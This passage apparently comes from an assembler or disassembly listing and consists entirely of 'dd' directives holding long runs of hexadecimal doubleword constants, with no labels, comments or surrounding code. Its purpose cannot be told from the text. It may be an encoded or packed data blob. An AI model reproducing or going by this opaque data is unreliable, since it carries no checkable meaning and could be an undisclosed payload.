0EAB76E4Dh, 0C080C9Eh, 7078099Ch, 2F595B0Fh dd 0E3687549h, 0DA95F068h, 2777271Bh, 5CE45E7Bh, 0E9CE49A3h dd 0B057F009h, 2B2FCE5Fh, 9C175811h, 0AC4A0A35h, 25D60AEAh dd 0C9E09DB5h, 0E5A0DF2Eh, 9D064305h, 1B2D0C00h, 296E917Ah dd 740F9D8h, 0D73EADE9h, 7A1FF975h, 6A1EAA26h, 77F1DA96h dd 2E9AE9h, 80C4FE62h, 887DD0ECh, 19480AF8h, 77388B16h dd 0A9478AB0h, 0BAF75CD2h, 0BD964049h, 0AABD5AC5h, 75C78C91h dd 475D09A7h, 46E98518h, 640A8DC4h, 0B39E4F1Bh, 0C112226Bh dd 0F0574633h, 5BAB603Fh, 1814B1CBh, 0D560397Bh, 28596637h dd 588072EEh, 9644BFEDh, 5DF37730h, 591FF79Bh, 0D0218C52h dd 0F50CC64Bh, 0C644271h, 0DA3513BBh, 55E1249h, 0B8125930h dd 54F70244h, 0E0629402h, 7217DBADh, 5BE93705h, 0A8F255EFh dd 2C5A092Ch, 3A0B763Ch, 12B1510Bh, 50967180h, 0FCEAF9B4h dd 0AD4C33BAh, 0E2C044Bh, 13B84534h, 9356548h, 589588F6h dd 5F2ECD67h, 5A9DFEC9h, 16EE8640h, 2A9819E8h, 6875FC00h dd 3C71E91Ch, 0D4769701h, 0EF457DDAh, 9045093h, 0E71E198Eh dd 1078B67Ch, 66CF961Fh, 5C4AAB76h, 678AE5ECh, 10BBA08Bh dd 2014AE1h, 3655F9F3h, 3327E017h, 200E12B2h, 8127EF89h dd 68028FB4h, 0CAE707F3h, 485DEE8Bh, 910FA768h, 68598416h dd 128DBBDFh, 4ECF9B7Bh, 0CC8728AEh, 3F21759h, 0C22ABA2Dh dd 5D0C164h, 745A0742h, 0A3DCADD3h, 440BAA26h, 0E1137F3Dh dd 954B43DBh, 0F53ECFACh, 6DB264E1h, 6B3BCD52h, 5001F5B4h dd 55619150h, 827B6E37h, 447F40ADh, 0C7051C67h, 89E9C7B6h dd 804684C6h, 0D1778ECFh, 47F0444Eh, 55E5BD07h, 39E36805h dd 211CDEB3h, 913645Dh, 6C83DFAh, 12835F25h, 9007748Ch dd 5B94B63Fh, 0CF89E01Fh, 9A680C4Bh, 11E5FD3Ah, 0DACBA1A4h dd 0F2683C51h, 0F16ECCCFh, 2081A49h, 734AC3C5h, 577B4268h dd 0E963E4F1h, 24158E35h, 93850C3h, 33750144h, 48DDDA55h dd 91BD6833h, 280EA1Dh, 1DF07CE8h, 12A2C140h, 5BB8D24Ah dd 5816EA03h, 0A8BBE95Ah, 68122E76h, 0F3461771h, 75E37C7h dd 7E5359BBh, 99E4A243h, 0F127AC45h, 21494B15h, 0DFA1A545h dd 4C855C29h, 0C01EE881h, 5CB65276h, 96C60B80h, 0EA2084E9h dd 0CD743AB8h, 7BFB7F48h, 262F3F13h, 2909D9CEh, 0E40651C7h dd 0C0031071h, 0C48003ECh, 81FA857Bh, 6F42F282h, 0CE40FB8Bh dd 0DF47CBEDh, 7EC1F416h, 79521123h, 90594360h, 6866405Eh dd 74186725h, 25C1E08Fh dd 0B8017FD7h, 91FC90D2h, 14974E05h, 2DE10A13h, 0BA590F07h dd 0EDDA9540h, 0BFC201h, 0EE7C3583h, 24FAF255h, 5BDDC4E9h dd 0B858CADAh, 0A7EF1E96h, 64DB2A87h, 161EA15Dh, 4FA4BF04h dd 0BC849211h, 5EF26225h, 5692AF74h, 9A9DE909h, 1C16D779h dd 0E5AF0829h, 8AE512BCh, 143EAF50h, 103AF021h, 58269F6Bh dd 6D470284h, 0E3607798h, 41E9EA6h, 2190E9CAh, 87E78003h dd 0F6B9B551h, 35CEF5D5h, 0FD5C4030h, 0BE27A510h, 0C264FC89h dd 647DD3F7h, 95748B0h, 13FA909h, 0DD1632DFh, 71250047h dd 1C17094Dh, 57022CDBh, 0CA3CB3E9h, 8CC0B4Eh, 6842D4F9h dd 0E9A8A18Dh, 2006AC39h, 9E861C0Bh, 0D8A1F7B9h, 0F266E9CBh dd 0F4CDEB0Eh, 0B0F3E93h, 0C2C5C325h, 0EC1E01D1h, 0EC7D7911h dd 18B5F23Ch, 0D390CAAh, 8BF0AD0h, 77F03B0Bh, 7AC9291h dd 1D0E4405h, 6089504Dh, 0DDC22D20h, 0A73B7EE9h, 3062E2A3h dd 0B382D65Bh, 1C3B4740h, 0F9C3185Fh, 1212EE8Bh, 0AC75A252h dd 64BE126Bh, 2B8E1D41h, 0A13B0B61h, 0F29FFFECh, 9A4A977Ch dd 9659B2DFh, 8B2BB7D9h, 9A23100h, 0D2972B0Bh, 5B687F5Eh dd 41FE337h, 63AB0B2Dh, 7D7835C0h, 210F131Ah, 1C4805D3h dd 9621FE01h, 0BBA59CB7h, 6116CC78h, 0DC8416EDh, 14840712h dd 2EF657A0h, 902F1ECh, 43592BE1h, 34D8BD3Ah, 0D9BE2E93h dd 60E5625Fh, 1543BE0Ch, 27B390B2h, 6D11ABA7h, 6CC0E555h dd 10374C50h, 0BA00302Ch, 21991B8Bh, 8E0AF281h, 0F90DC211h dd 5B0A0102h, 2D9AE12Ch, 0BBB83883h, 0A9D4AE51h, 0D7E9CFCBh dd 0A905F240h, 0EA150877h, 0AE54384Dh, 0BF0EFC7Fh, 0D0A80066h dd 0CC9C7C7Fh, 0B7AF044Fh, 0EE296606h, 0ACB1E061h, 6E0F12Ch dd 0D6189558h, 8AA2BB5h, 1B4BFD64h, 1CB95B0Fh, 6A808518h dd 36BC918h, 963D3E10h, 0D32F9292h, 8A93D1F0h, 81DA10E8h dd 0F27603F5h, 5456ED14h, 651FFFE5h, 5768658Eh, 226A801h dd 0D16BA0C7h, 157F203Eh, 94F73316h, 6C43680Bh, 81DE96DDh dd 0BA00BD81h, 59722533h, 5D027FBCh, 0AB2A9A68h, 255FC2Bh dd 4D76701Fh, 746A541h, 30870CAh, 3742D9Bh, 0BD14A143h dd 37E7DF81h, 0CC0FE00h, 0CB3C5379h, 0C5ECB1Ch, 5A8A4915h dd 3F0102B8h, 896C8256h, 0E3041F9h, 0B6F62F05h, 1034509h dd 4E255494h, 0D4AA029h, 90483319h, 72530C36h, 49187051h dd 32606E7Eh, 1AF9B40Ch, 4462B7B7h, 0B3836BC2h, 8DA5B1Dh dd 74C15E6Ah, 0F72B0DE9h, 0D3AF50C9h, 343C6F17h, 0EADC12FEh dd 6C5B0B61h, 852FA32Ah, 0ED0CFE9h, 1E4A055Eh, 0CC139746h dd 5A182715h, 80385649h, 620990BAh, 0B70BA40Fh, 0DA89D8AEh dd 0FEA5387Bh, 0A268C1E0h, 551D957Eh, 50B900BAh, 8167E82Eh dd 2F4D77C1h, 0D4F4BF98h, 2E27A51h, 515D295Fh, 23346366h dd 0EF610B16h, 7382DE4h, 5E49935Fh, 1A757B83h, 6B81F664h dd 8A2807FBh, 4C83130h, 0B2D8F0E9h, 8244989Eh, 0B67DBFBh dd 98DFE528h, 80534141h, 4995D2F6h, 0C2CC5580h, 0BEB6FE10h dd 2BBF80C7h, 0C4353DBEh, 657B551Fh, 1EDEEECDh, 589BA32Fh dd 0F6A42543h, 5F66065h, 0EE5B6F23h, 0B289640Eh, 17C6CAAFh dd 1DC716E9h, 522EAABBh, 0BF093A11h, 20FD181Ah, 0CB4B5EADh dd 0F2D09F44h, 32D83139h, 0A15308C3h, 57935BF1h, 0B43F052Eh dd 0B7C2D162h, 8A307A17h, 90E95273h, 47532523h, 75A818F1h dd 33D4A2ACh, 33B2015Fh, 0CA681EC0h, 84A4F9D6h, 0C09C5E06h dd 792EA43h, 310E6712h, 4AE8B12h, 9CDC5DAh, 0C11CF701h dd 2DAE7BB5h, 0E9615FF4h, 1A816F80h, 486DA1BBh, 0F6D82B65h dd 7180017h, 8102D26h, 357A0163h, 6F274A13h, 4B901401h dd 0A36019BEh, 5EFCEC14h, 1293BC74h, 920AA66Fh, 0D71ECAEFh dd 0EC05C7C3h, 182EC40h, 58CA8915h, 640BEA8Eh, 9C589B5Bh dd 0C794B469h, 0C08E322Dh, 0BB59B693h, 9C5615FFh, 2580802Ch dd 22300674h, 326852D8h, 1D5312A3h, 5A480AD0h, 77E6508Eh dd 1CA2E5Ch, 7EB73787h, 71388DE9h, 7478802Fh, 0A43DF37Ah dd 5EED4F22h, 9E38EE93h, 69ED41A3h, 42BA0752h, 0EFD31809h dd 888604FBh, 0C2018774h, 0BD005697h, 0F30B041Bh, 7B23816Fh dd 48152675h, 7158C420h, 4E56DAAFh, 8AD8B9Dh, 66530930h dd 0BF27A10Dh, 0C47F0B57h, 12D5EA9Dh, 2FD28BBAh, 0E5955C5Dh dd 0B1064002h, 473E0E3Fh, 7D2FEA0h, 3D60243Bh, 0C8CA8BEFh dd 9CC55809h, 8278261Dh, 6AD2302h, 215D041h, 56CFF59h dd 9CB15116h, 0AA1274F6h, 0F336CCCEh, 0B7B41E40h, 0C1819BD0h dd 4E706052h, 0ACADAD4Bh, 2DEE68A0h, 5697B391h, 48D79109h dd 370C957Fh, 0E37F0705h, 1D03650Dh, 0FF46ACEBh, 0E1645A28h dd 17DD6B67h, 52A02C7Fh, 9DAE12D2h, 0FE6EA782h, 0B8537098h dd 0CCE675C1h, 0DA70E864h, 2A860FCEh, 0EE810BBAh, 0F08E583Bh dd 660E6C1h, 0B628AE12h, 15D2952Fh, 9C888C2Fh, 9722FC5Ah dd 0BB53DE82h, 3AF7D552h, 246812E4h, 0C2B16430h, 0D70B1E54h dd 7134CE23h, 6B302C91h, 0E88056F0h, 8853129Bh, 0B906FECFh dd 4C6213B9h, 3F10995Ch, 555925F2h, 7599759Ch, 235E308h dd 8818B252h, 0A11096DFh, 0AA74693h, 9130C550h, 5E350ED9h dd 257B243Ah, 27A31CB8h, 9E9D1E57h, 0E2E98C61h, 0D128462Bh dd 3DF6B4E6h, 48577A25h, 28F67360h, 0A1ADFD27h, 6601A217h dd 6D05C8ADh, 2D2C3F76h, 930992B1h, 94CB77FAh, 0A9B3FC1Bh dd 0D2B4B8D3h, 24E67B88h, 0BC888C9Bh, 12DE6809h, 40731A01h dd 80FFCEFCh, 2B573AABh, 975E25E9h, 50164479h, 7028E237h dd 7A97F9F6h, 26489897h, 8C90FEC0h, 0AE064FF4h, 883951F8h dd 36EE2EE5h, 0DAF749CFh, 0ED0320F3h, 3E846812h, 0A298BCDh dd 82E33350h, 8422F284h, 2EB7EBCAh, 0C0AEB17h, 500C2C15h dd 7E0C88F6h, 4743CF68h, 59EF40ADh, 0A780424Fh, 985EEC40h dd 0E904C2A4h, 67488E66h, 0EAE4FD88h, 9771F69Dh, 0DB5CBCC7h dd 5D89482Ch, 4D157704h, 0EDFAC026h, 3D39688Ah, 5162AFC9h dd 0FE982CFh, 9747012Ah, 89CED92Dh, 72496DE9h, 0C3562BC3h dd 0D795930Bh, 91C01E18h, 0A6615782h, 83B5316Bh, 0EC0C1B80h dd 0C0C7A18h, 4573C32Dh, 0E1047E0Eh, 0EB0199A3h, 0ADE268EEh dd 2D45001h, 6E746857h, 7C779588h, 0CDF68007h, 7FD54F82h dd 687F516Eh, 46F67E4Fh, 0A77DF8D3h, 6BBCF34h, 6DC8CDC0h dd 0CBEA322Ch, 6F0BE192h, 7DF2C2DDh, 1F6205ECh, 8EEB2927h dd 0D4A9D6C8h, 0D1448990h, 3EAE17EDh, 0F5730767h, 9BE68230h dd 2B836860h, 0CA9D41ECh, 5B0809F0h, 74013F5Ah, 0BF1810F8h dd 1E47DC45h, 2E0BBA3h, 19D5BB2h, 2B69E9C7h, 0E9586C2Fh dd 0DFE39695h, 0D1559A2Fh, 0F0EE397Eh, 3040A839h, 787C64Dh dd 0CEFECFEEh, 0E4E9D8E4h, 0EE59C817h, 0CA0DD300h, 7B873Ah dd 21ABBA52h, 0D00937AFh, 0CFF1F9BDh, 0E3A5E40Bh, 0AD0FFEBh dd 607E58E5h, 0C6F50C56h, 374FFF38h, 0E04B3BC3h, 164FF1BEh dd 99210B0Eh, 0BE163E56h, 0DD87BBC1h, 45B2FA57h, 9C1E7EF0h dd 4D22CBF1h, 35016DF6h, 0DF04F59Eh, 0C4C5C53Bh, 969580B9h dd 42126D41h, 704554Eh, 45E4922Ah, 6F4F1DF2h, 0F0B98751h dd 0E941A012h, 4B40994h, 0E14B5783h, 0E3CAB026h, 67AC1636h dd 447718E9h, 0D19B8BEh, 0F583798h, 0ABC4D77Ch, 0ED800310h dd 88F5990Dh, 5C9A06A0h, 0D000FEE8h, 0B6527F2Ch, 6C25E9ECh dd 626C7E89h, 1BFFE413h dd 590CC9F9h, 0FA969A22h, 55C07C04h, 3191FA12h, 0C97CD327h dd 0B378E2C9h, 2D5DBF09h, 8C8685DDh, 40A08552h, 71746B33h dd 0F5D492DDh, 1988DDC5h, 167E2F6Ah, 0F43CF153h, 0DDF76683h dd 0D6A39695h, 7E6D829Ch, 6465020Bh, 50C1272Dh, 21F7E0A4h dd 34FCF2B8h, 0FCC97969h, 6F69983h, 22BC2BEAh, 226BBD1Ah dd 0F63EC2F7h, 3E123817h, 0CAC1EF18h, 0C980BD22h, 685056DDh dd 75242EB5h, 0C6020B11h, 0AB35C8E9h, 0F896DA69h, 68674014h dd 0EDD7CAFBh, 0F3F80C3Dh, 1D9828E6h, 6C378B2Dh, 0C7681071h dd 4C542E5Ah, 0FE012E09h, 0BFA342D4h, 6EBE86A0h, 0A004C33h dd 3FF68146h, 0B078FD23h, 0C5E8A1EAh, 9A10C77Dh, 24BA4EABh dd 2B12BAC1h, 0C204DEE9h, 0C3263972h, 0F8B0F2DCh, 21160F5Ch dd 5BA5AD0h, 0BAC8317Bh, 20D58044h, 10D6E916h, 0BBC726F9h dd 704EC23Dh, 8539E861h, 0CF43E90Dh, 24D19DFBh, 1E76055Dh dd 0A1C46C97h, 9168E015h, 47F20C4h, 81AABAB0h, 71C7348Dh dd 20B6DA8h, 0DAD817F7h, 3C30D7B4h, 23C0E1CFh, 0E764BFC7h dd 505BF626h, 1C9E0B72h, 7E470174h, 18DB6718h, 0E4B6EBBh dd 0E300E6ECh, 338D186Ch, 779EBC1h, 1466F304h, 0C6C075F5h dd 580EF98Bh, 33009A8Ah, 0E92A1C13h, 3180672Fh, 416390E8h dd 91926F1Ah, 8912C2E3h, 0DA685FD0h, 409716B2h, 5E5BDE0Dh dd 2D66B656h, 0D25E765Eh, 0CA2519D2h, 655E5C7Ch, 9962FB82h dd 606F582Bh, 65DAB85Fh, 1AF8499Eh, 0ECD0955Bh, 30DE5971h dd 0EEFC4E73h, 0E90EAFB8h, 8BF129D0h, 578FE150h, 310DD840h dd 0B7C4E7Eh, 0A8C10AD8h, 3D1D325Ah, 0DC2E69B8h, 0EC9302BBh dd 947CD29Ch, 36BC6805h, 87E95744h, 4BD20597h, 0A52ED122h dd 18C70B5Ch, 1862CC8Bh, 0D4343BDDh, 0A71D32BFh, 3D445756h dd 0DEB09275h, 0D67C1285h, 0FEC10863h, 8E1E4227h, 0C2836482h dd 0B05475E8h, 0E8894E5Ah, 0DC01B3D3h, 8452A2AEh, 57980D80h dd 93385449h, 4E7D17BFh, 0EF9000E8h, 6F6027F8h, 0E692C895h dd 0EAE31357h, 3071DD89h, 0A8C9EE8Bh, 369275D3h, 6E2C655Ch dd 76655D52h, 0E8130126h, 3F847CF2h, 0C061268h, 7D33436Dh dd 0F9861D6h, 78686652h, 0BC6B1397h, 0E9B189BDh, 4E9F68C9h dd 0D04E59B8h, 3F91C29Fh, 9410E43Dh, 5229539h, 8BF3020h dd 0F73181FFh, 1EF75003h, 0E43DFC6Ch, 521C995Ah, 11E4C331h dd 872F4A4Ch, 0F1CB903Dh, 7265177Ch, 0C4C30812h, 0E7AB8448h dd 62AC4F0h, 52E8CFD1h, 0F28AC14h, 5CD58851h, 886CEEDDh dd 2C87D313h, 0D05BDCEBh, 49D685E9h, 8EAC108h, 6827C442h dd 0F60D698Dh, 1819781h, 0CC2EF380h, 42F0AEBh, 3A34D4C8h dd 0A285B1Ah, 630BB354h, 0A8EA5352h, 70380BB4h, 54274441h dd 0F1816049h, 222D0B85h, 901D8902h, 48EFC1F6h, 5F803103h dd 890611EBh, 99E9F91Fh, 0C202C7E9h, 0E10F9235h, 4503C30Eh dd 0A43996B1h, 0D000E0D9h, 294FE760h, 0BC9A2FBh, 0A0B1D508h dd 6B096517h, 30EC898Dh, 94EAF3F8h, 12F493A4h, 45D0EB29h dd 97727CE9h, 3F551CA2h, 0E0A8C320h, 7A20FD2Eh, 0B25E18A9h dd 563D0C1Eh, 1059778h, 3A71E9DDh, 96F5BDD0h, 8CD14C31h dd 9600EA51h, 588345CEh, 0C1079D27h, 4477ED25h, 0C6E7C0E6h dd 853573B8h, 3501125Dh, 40047CEEh, 0B735E9C4h, 0BCF5838Bh dd 82DF8375h, 0BFC90B30h, 0F5AC57DAh, 7F5FC155h, 0E5FA043Dh dd 0E2B200D8h, 0C29D6F4Fh, 62FB84E4h, 703CF0CDh, 0C368AFD6h dd 0C7917AE9h, 0C1CEB8FCh, 7B29363Ch, 0A35B3BA3h, 2A64041Bh dd 0C4EB562Bh, 51DA7174h, 0A44C401Ah, 0C1952848h, 0C93AF6E8h dd 0E3AA4801h, 0E03F7A41h, 0AB0E2D21h, 0A16A123Bh, 66624898h dd 7057E94h, 0B938C54Ch, 64CEBC70h, 0D55C0987h, 912D7A4Ch dd 2DC51Ah, 4A4E30F6h, 0F2178936h, 0EF9FCE9h, 5416CF0Fh dd 0EF1706F3h, 81A00704h, 32F0913h, 0C643C84Fh, 94AE959Ah dd 0C7207AE6h, 3CB86F75h, 0F845484Eh, 0E196E215h, 0DF09163Ah dd 31F9C75Bh, 6B80E049h, 4A1A35F6h, 927FA995h, 6DCE4068h dd 194D0801h, 4808C231h, 0A05028F0h, 925CD2E9h, 44BF030Ch dd 0DBF71E11h, 81B3A6E1h, 7D543518h, 25D47E32h, 95484C4Dh dd 3BD3E210h, 0CCC51A55h, 55A6AB0Ch, 9BE91F38h, 0F59B0D60h dd 9D1C98C7h, 5FD180Ch, 0C02B9100h, 0DDC2D7Bh, 5087A88h dd 62A2103Eh, 7429BA5Ah, 0AA58A47Ah, 93103946h, 30DB50E2h dd 9DADE309h, 85CF0229h, 0E2FF44C5h, 308A3E34h, 82064C8h dd 9AFD59B7h, 48D54770h, 0A3A3540h, 29A47D57h, 72B988A1h dd 132A680Fh, 0F74151B3h, 94B1F27Fh, 1BAF10D0h, 0E805BE4Bh dd 0F5B449D2h, 212B3AEEh, 50125C8h, 0D1182638h, 2D8F30EFh dd 4B4F015Eh, 120B2F54h, 2968DB8Ch, 0AC847EA6h, 0BD6F4403h dd 24F52630h, 374A110h, 0ABAFF43Fh, 0CE10C301h, 5A00A2B2h dd 0AA35D8F7h, 0F424D3DBh, 0DB380F31h, 0CCD96616h, 0EBB8453Eh dd 0AA8035B0h, 0FE71F6D1h, 87029922h, 0F7652F0Ah, 767FC07Fh dd 3AD093Ah, 852C23E9h, 6D2F6868h, 1258C778h, 7B9ABF55h dd 42685C04h, 17049863h, 5A2F87BCh, 53C60066h, 1F42B8BBh dd 0E9124B71h, 41BAE516h, 0D23EE075h, 9CFC3077h, 0A5FC1248h dd 6873C1ABh, 30452B61h, 0D297CD10h, 4D6D6566h, 0CCD6745Ch dd 1012DEE4h, 25A1373Bh, 0A22DD8CCh, 0C139D30Ah, 7CEBB8E9h dd 8D1C9ED4h, 0D0EEC865h, 50A8E95Ah, 297AED27h, 0E17847F0h dd 6B2B7601h, 0E1C1FE1Fh, 0CC3560Eh, 35170C85h, 0B04CFC7Dh dd 0BF6DEAE9h, 0B105B314h, 0E5F18059h, 5DE28004h, 60C38CAEh dd 12905892h, 8AB23979h, 49B3C72Ch, 0E3B4CC16h, 773B9207h dd 4451B529h, 551677C9h, 27125B5Ch, 565123BAh, 81475B34h dd 4ED5FD5h, 888DCCAEh, 3C9AE041h, 7E8977CCh, 0A09E8A8Fh dd 0ABC85C4Eh, 0D14B4D0Bh, 0E53D21Eh, 0A212BDDEh, 0BE8DDF50h dd 0ED3AE20Eh, 97A3B4FFh, 5A6C8A4Fh, 808B34EDh, 725ECD1h dd 0C0634F15h, 0B80C00E4h, 73E01CCAh, 0C7442D40h, 3CEF0481h dd 0BE22DE35h, 6C2CE109h, 0DD8182BDh, 4962E91Ah, 0C0CAB224h dd 4226026Fh, 8509C2EEh, 0F0589C28h, 0E3549DF8h, 45896162h dd 4792D08h, 0D509A7EAh, 0A187B61h, 0E9E830F2h, 5E43BA5Dh dd 0F02609B1h, 0A9088A7Bh, 0F3D7962Ch, 25E890A7h, 104AC337h dd 0F9A9144h, 0C66CF280h, 9D10B129h, 0DCCBE07Eh, 42D90445h dd 2E09FE15h, 0CBB0B892h, 0B7D1B51Fh, 0DE637D40h, 0E981016Bh dd 2460380h, 0AF06D941h, 2703DE2Fh, 2FC0B476h, 504050Bh dd 0E007A2BBh, 82EF8440h, 7709A7CFh, 0F9BD58BCh, 0B47C8994h dd 8FC45D2Eh, 0DF1AB20Eh, 2760ED4Dh, 603B2734h, 0ADC25701h dd 103F852Fh, 4DFDDE68h, 3230E380h, 0F09D2977h, 30CA68CAh dd 0BDE9040Bh, 0A8B8DC67h, 13C9E7B5h, 0F7D34B57h, 0F42D8564h dd 0C7A0D6AEh, 10F72958h, 95DEB0A3h, 4443AF76h, 41CF1003h dd 0CE64281Bh, 88FE0273h, 16234C5Eh, 0BD3D5E92h, 250F3DCDh dd 0DD75C21Ah, 0E9871767h, 7F091738h, 0C224BE44h, 0E38F1E6Ch dd 59CE0C1Bh, 3E1016BAh, 0C2D500E7h, 690664B7h, 3709A390h dd 0D0539D77h, 0DF20555h, 0FE2C0208h, 3AC4B444h, 8A5F23CFh dd 0E24E73F2h, 612A2A3Dh, 0ACEF3E66h, 0BA346298h, 9379EBBh dd 0C032E3E9h, 9717A97Bh, 57616698h, 0DF102727h, 24E8B29Ah dd 0C3948BE9h, 26891BACh, 653D74D8h, 8AE7D711h, 3CE9C16Ah dd 0C7C981D6h, 0CF8078FAh dd 0B8418665h, 94070236h, 0F545AEF9h, 61FE535Ch, 3AE0E7CFh dd 0AF0070F6h, 0BB396107h, 0CB7272FBh, 95BB03B2h, 30EFE103h dd 0A9F1F4B1h, 0C43EE22Ah, 0F2B8CB7Fh, 6ED30D9Eh, 0C9803B93h dd 586575E4h, 0BA185C74h, 0B9C1CD43h, 5435700Fh, 513F9E29h dd 0F17DDC08h, 22B626C0h, 9072C680h, 1CBE8444h, 0BD6A65CFh dd 913A9912h, 417CD7A3h, 9C143D06h, 4F545E2Ch, 7CCD92CAh dd 9EE0A4h, 49DF4595h, 0FE00DD05h, 0C7212894h, 0F0E95158h dd 3C659B0Eh, 3B2A6791h, 0E52B99E6h, 1876B90Eh, 7A729904h dd 0D8050D58h, 30DE25DCh, 6D0E4902h, 904F5C43h, 0EA01B7C4h dd 219A0D89h, 604212B0h, 4A40E237h, 5295A008h, 214F252Bh dd 0FF589E2h, 8A77E3DEh, 96F01C13h, 0B45725D5h, 5F5B2767h dd 9D2650ECh, 34E7D4FEh, 624E7BD9h, 542F2513h, 0C2FBD233h dd 0B716C3FFh, 6E982F96h, 6DD2359Ah, 4A009ABAh, 4370C9E4h dd 5CBB0374h, 9B4DFD52h, 0C36F857h, 0BC24E727h, 38412CD2h dd 4BE076Ah, 0C07C274Fh, 874E49F6h, 957DF095h, 2FAA7C8Dh dd 6A8608A6h, 4321FDC3h, 0B693BE74h, 0C4ABE8F6h, 550BDBF5h dd 542FF67Eh, 25D55189h, 34687B60h, 0B4E98033h, 0B9E37A4Fh dd 35DBE07h, 0D5A8D439h, 0F082FEFEh, 0C6614053h, 25FB3F42h dd 62236998h, 78B58C2Ch, 73D9E94Eh, 9630DD70h, 0FFF792B5h dd 5A3A7238h, 0D5CABCFAh, 0AFF49397h, 0A96C5BCDh, 60F5895Fh dd 35DEF63Ch, 8C6FEh, 0F728D6D9h, 224BB3E9h, 5AC93E8Ch dd 7BB68C95h, 12B96556h, 4B71EF5Eh, 8C7A2BDDh, 215E5B6Fh dd 5B0DEDB4h, 69028CDEh, 5EAA3004h, 0BEC90540h, 5E6DA943h dd 1399B819h, 320DC501h, 94348B96h, 0B3494A13h, 8D11398h dd 0E909468Ah, 6190DDE6h, 47273160h, 4420DD19h, 16EC685Eh dd 0F234C6B5h, 5F051265h, 0F74F0079h, 7C9364D8h, 40001CBCh dd 8F58992Dh, 97294EE3h, 0F05C11BEh, 0ABEED81Ah, 50615418h dd 2F6C870Ch, 0EADC1082h, 0E91608A0h, 2CEEF0C0h, 162E26CCh dd 894A8E01h, 82523409h, 0E0DEF7F4h, 2D6316ABh, 7E7027BAh dd 17D112C3h, 0E78A0203h, 63627DFAh, 0DDA536C0h, 0F7B8E6C0h dd 20ADE77h, 0E25A7435h, 72414023h, 0DD6573C3h, 96C73216h dd 72D56847h, 453D88Ch, 0B78EB652h, 5A1B8288h, 0F696E1D7h dd 6E5B716Ah, 86CD7BE6h, 33F8C47Ah, 0F0EE7612h, 70DA872Fh dd 4F2FB79Fh, 0F4F7CEDFh, 0F805201Ch, 5D086653h, 31FC4FBh dd 86653B8Eh, 40DFFC84h, 58122EB1h, 0F5E1559Ch, 48088BCAh dd 80685D14h, 789D5A66h, 3F52EA49h, 0AD24EBB2h, 57C8BE6Fh dd 0E425587Bh, 8B1AAA81h, 0AD1EC33h, 4EBA16C0h, 0BF1D1774h dd 26946748h, 784927B6h, 22762035h, 2085B714h, 0C2800793h dd 0A03EFEFFh, 0D028A9EAh, 65028E9h, 0B9A59E83h, 3D34AF81h dd 79FD8902h, 312B8501h, 0CE8956E5h, 0B8FB49B4h, 34383D02h dd 7220D725h, 26A43B2Fh, 8131E925h, 6E2C5949h, 0E1A956E0h dd 8A65B93Bh, 3E0BBEF6h, 149AFDA0h, 0C5463CFFh, 0BCC6E927h dd 885B13FFh, 9C921EBh, 5B4803EAh, 0BFA1C0ECh, 8C2754DAh dd 7F5D5259h, 0D30FE6FEh, 0CE44FFA3h, 0A81D39C4h, 29892DB5h dd 5D1EC4E5h, 5B385AC0h, 9C59EF68h, 9A8062ECh, 320CA50Fh dd 0C8830D21h, 2077118Fh, 0B7D6A204h, 0EB831643h, 0C2DA084Ch dd 6856125Bh, 82F6C531h, 0E8E67B3Bh, 3F8F7397h, 0D89DC2BCh dd 0BC2E4D46h, 78D6AD29h, 4D7919FEh, 0C726F932h, 2B62A77Dh dd 0C582185Dh, 4DB1207Bh, 3376112Fh, 0C1239DBEh, 0F654403Fh dd 3ABDEE05h, 0D4BE77E2h, 5308157Eh, 0CA313E62h, 0ACEF68E0h dd 0E18A3D27h, 0D9A5C35Fh, 0BF4286FCh, 2537448Fh, 0A06016E6h dd 10028EE1h, 8CE9607Fh, 0BD35F39Dh, 10D54DA7h, 95C60194h dd 7E4F55E4h, 72B9B501h, 468B0F5Ch, 915CF8DCh, 0D419A8E2h dd 0BE59EA0h, 6FD6E1F0h, 0CBC4FC92h, 45B6E0BBh, 4C1063E9h dd 0BF20A1h, 0C581CD87h, 79756F6Ch, 314FDE95h, 49D7F708h dd 826A3D08h, 619705F0h, 6E49DDC7h, 8AD3A92Ch, 215D0182h dd 0D5FAE9D8h, 586DA77Eh, 440F863Fh, 0B3BE041Ch, 0BC74E76Eh dd 0EB2A1625h, 711E7BB9h, 5E33C91Ah, 4D9C9675h, 25028C8Bh dd 73783B49h, 0DD251E5Eh, 0FD1F7F81h, 0FEB23ED2h, 9AD01DC9h dd 0BE882A93h, 91E28BDh, 59E52743h, 1A350802h, 0C9BD9FF2h dd 0B6A785Bh, 5A455271h, 43DAC227h, 5AD7A874h, 6F20F352h dd 6B899DA7h, 6C451FF9h, 60BAFC90h, 4876FE63h, 11205355h dd 34BE5F4Ah, 0E9397090h, 0A5C57A95h, 21AEC331h, 0C5FFFF1h dd 31D640FCh, 68E62CBFh, 53534854h, 3E0C0DC1h, 0BE53C663h dd 7C80B116h, 1E69EB81h, 13476B71h, 81410F3h, 0E76AE90Dh dd 1F136E62h, 0B2B500FAh, 810AD651h, 9D28CD3Dh, 0E5811FC4h dd 27956F6Ah, 5A14D20h, 0E93B8E14h, 31BAB090h, 555AD025h dd 0AFEE6685h, 52009ECBh, 0FD5B91BAh, 4A5EE96Fh, 4E87AB84h dd 3A872B21h, 5DEB8EDh, 5C35BE51h, 162DD4F0h, 0DEA02EEh dd 0F1F1C83Ch, 5D1D3F96h, 5B986455h, 0B305EBBDh, 0AC056625h dd 7A340518h, 1DC45D0Fh, 132EECC9h, 0A1D3FCE8h, 0B59D63Fh dd 8B23F23Ah, 0B80CC457h, 80F52D1Dh, 1DCA5EF4h, 0A07296E2h dd 415BB910h, 264B60EAh, 8880E80h, 0C3919BFh, 2C705501h dd 324AC04Ch, 7F5368D2h, 49CABD59h, 205E20E9h, 0FD9AFB8Eh dd 32CC2BA0h, 0DE02119Dh, 0E261132Ah, 7CEF4BB3h, 1A4D2A8Ch dd 68C91C6Bh, 0F84C1CEh, 9537A6C8h, 9D59EE31h, 82DAEAD9h dd 7F934CD6h, 5B13DDE5h, 4CB039E0h, 4920D6C7h, 39DEB900h dd 0F181353Dh, 3F5D040Dh, 0E85EE95Bh, 71B25EE0h, 0B72388D2h dd 103255D0h, 0D1005BDDh, 0E0EA81E2h, 217D694Fh, 6F84E74Fh dd 93D0A2BFh, 0A0611872h, 7B7CB9B3h, 0F8775AD5h, 0F368E01Dh dd 62319679h, 5D09A884h, 5962882h, 0C34880FEh, 36528B3Ah dd 1DC8073Bh, 0C26C82A2h, 0DF5955D7h, 0C1851048h, 1CED5F58h dd 6098F810h, 0A439C0DEh, 6E5CC35Bh, 71B5F478h, 3BA0E926h dd 7CB6A300h, 